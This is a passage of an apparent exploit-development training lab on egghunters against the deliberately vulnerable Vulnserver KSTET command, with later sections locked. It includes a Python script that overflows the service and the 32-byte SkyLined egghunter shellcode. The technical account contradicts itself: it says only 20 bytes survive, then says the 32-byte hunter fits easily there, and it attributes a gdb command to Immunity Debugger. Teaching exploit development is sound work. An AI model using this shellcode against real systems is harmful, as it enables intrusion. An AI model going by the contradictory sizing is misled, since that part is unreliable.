Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Exploit development and reversing

Lab · Hard · 3 hoursFree account

Egghunters & Custom Shellcoding

Egghunter technique for small buffer spaces and custom shellcode writing.

  • egghunter
  • shellcode
  • windows
  • exploit-development
On this page 8 sections
  1. ·Lab Setup
  2. 1Confirm the usable space is too small
  3. 2Understand the egghunter
  4. Locked: Prefix the real payload with the tag
  5. Locked: Land the egghunter and let it hunt
  6. Locked: Catch the shell
  7. Locked: Defence and Detection
  8. Locked: Check Your Work

Before you start

An egghunter is a tiny stub that searches process memory for a tagged payload when the original overflow buffer is too small to hold shellcode directly. Vulnerability researchers meet this constraint often, in command handlers that corrupt input after a few bytes or protocol parsers that truncate it. The work here places the 32-byte hunter in that tight space, puts the real shellcode elsewhere with a doubled tag, and lets the hunter find it.

What You'll Learn

  • Recognise when a usable buffer is too small to hold shellcode directly
  • Understand the classic SkyLined egghunter and its 4-byte tag
  • Place the egghunter in the tiny space and the real payload elsewhere in memory
  • Prefix shellcode with a repeated tag so the egghunter can find it
  • Trigger the hunt and catch a shell once the egghunter locates its target
  • Explain why bad-character and size limits shape every shellcode decision

Lab Setup

KaliRange hosts no targets and no virtual machines. This lab reuses the Windows victim from the earlier buffer overflow labs, with a third vulnserver command, built the same way on your own machine.

Victim (Windows)

  • Your own Windows 10 x64 virtual machine, running Vulnserver, a deliberately vulnerable Windows TCP server that Stephen Bradshaw publishes on GitHub for exploit practice: vulnserver.exe on TCP 9999, with essfunc.dll beside it and ASLR off, the same build the earlier buffer overflow labs set up.
  • Immunity Debugger with mona.py.

Attacker (Kali)

  • Kali Linux 2025.x, Python 3, msfvenom.

Run every command here on your own isolated Windows lab VM. vulnserver is a deliberately vulnerable teaching target; it is not safe or legal to run this against any system you do not own or control.

This command, KSTET, only reliably preserves about 20 bytes of your input before the rest is processed and corrupted. Twenty bytes is nowhere near enough for a reverse-shell payload, which is why a direct overwrite like the TRUN lab's will not work here.

Step 1: Confirm the usable space is too small

1

Before reaching for an egghunter, prove that the reliable space really cannot hold your shellcode. Send a marker pattern and measure how much survives intact.

#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.20", 9999))
s.recv(1024)
s.send(b"KSTET /.:/" + b"A" * 20 + b"B" * 200 + b"\r\n")
s.close()

Example memory dump at the overwritten EIP's target (from x/40bx in Immunity):

0x0025fa00:  0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x0025fa08:  0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x0025fa10:  0x41  0x41  0x41  0x41  0x00  0x00  0x00  0x00

What to notice: all 20 A bytes (0x41) survived, but the B bytes that follow never arrived intact — the function's own processing truncates or mangles anything past that point before it reaches this location. A typical reverse-shell payload needs 300 to 400 bytes. Twenty reliable bytes rules out placing shellcode here directly, which is exactly the situation an egghunter solves.

Step 2: Understand the egghunter

2

An egghunter is a tiny stub, around 32 bytes, that searches process memory page by page for a 4-byte tag repeated twice back to back, then jumps straight past that tag into whatever code follows it. It fits in the small reliable space; your real payload does not have to.

The classic SkyLined/Corelan x86 Windows egghunter, with the tag w00t:

egghunter = (
    b"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
    b"\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
)
print(len(egghunter), "bytes")
32 bytes

What to notice: 32 bytes fits easily inside the 20 to 45 bytes a tight buffer usually allows, with room to spare for the JMP ESP trampoline that lands here. The bytes \xB8\x77\x30\x30\x74 load the literal tag w00t (as 4 ASCII bytes) into a register; the loop around it uses a safe memory-probing trick (an NtAccessCheckAndAuditAlarm syscall used purely for its side effect of faulting safely on unmapped pages) to scan forward one page at a time without crashing the process on memory it does not own.

Sign in to continue

5 more sections are for signed-in members. It is free: sign in with Google.

Related